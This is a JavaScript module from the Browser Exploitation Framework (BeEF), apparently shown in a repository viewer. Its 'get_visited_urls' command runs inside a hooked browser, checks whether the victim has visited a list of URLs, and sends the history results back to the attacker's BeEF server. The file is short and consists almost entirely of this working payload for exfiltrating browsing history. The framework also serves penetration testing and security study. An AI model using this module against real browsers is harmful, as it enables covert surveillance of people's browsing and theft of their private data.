Files
beef/modules/browser/get_visited_urls/command.js
2025-12-26 19:18:05 +10:00

17 lines
476 B
JavaScript

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>");
var comp = '';
for (var i=0; i < results.length; i++)
{
comp += results[i].url+' = '+results[i].visited+' ';
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, comp);
});